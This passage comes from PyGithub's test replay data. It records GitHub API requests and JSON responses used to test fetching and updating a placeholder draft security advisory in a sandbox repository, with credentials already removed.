30T18:08:31Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13765,"stargazers_count":5905,"watchers_count":5905,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1612,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":239,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1612,"open_issues":239,"watchers":5905,"default_branch":"master"},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":1612,"subscribers_count":1} https GET api.github.com None /repos/JLLeitschuh/PyGithub/security-advisories {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 30 Mar 2023 22:03:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"73281061c5916d2c2206f8cbd00f491ff98cf740a6ee4b910fd1732ceee03bf9"'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4930'), ('X-RateLimit-Reset', '1680217136'), ('X-RateLimit-Used', '70'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'F5F5:1B0A:3C0D2F:7AE80D:64260736')] [] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testUpdateRepositoryAdvisory.txt0000644000175100001660000004700014756101563030562 0ustar00runnerdockerhttps GET api.github.com None /repos/JLLeitschuh/code-sandbox {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4949'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '51'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF6:0CD0:83CCF:1112F8:642C2A7A')] {"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} https GET api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cc245445c2b0e27c99c03fb12288237c4aabfa6eaebf41e015bacf4d9a586a64"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:44:45 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '52'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF7:69B4:27DBB3:516052:642C2A7A')] {"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:44:45Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"}],"cwe_ids":["CWE-402"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} https PATCH api.github.com None /repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"summary": "A test updating a GHSA via the API", "description": "This is an updated detailed description of this advisories impact and patches.", "severity": "low", "cve_id": "CVE-2000-00001", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "c-package"}, "patched_versions": "4.0.7", "vulnerable_functions": ["function-name-a"], "vulnerable_version_range": "<=4.0.6"}], "cwe_ids": ["CWE-402", "CWE-500"], "credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bd3e30c29eb49cefeddb7476088cb5f1705171c9c0ced3ace712a5b149797cfb"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF8:5FB9:2ABAED:57389B:642C2A7A')] {"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:47:38Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"},{"cwe_id":"CWE-500","name":"Public Static Field Not Marked Final"}],"cwe_ids":["CWE-402","CWE-500"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt0000644000175100001660000004726114756101563033663 0ustar00runnerdockerhttps GET api.github.com None /repos/JLLeitschuh/code-sandbox {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '61'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9C:448A:546D93:AC9E31:642C4910')] {"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branc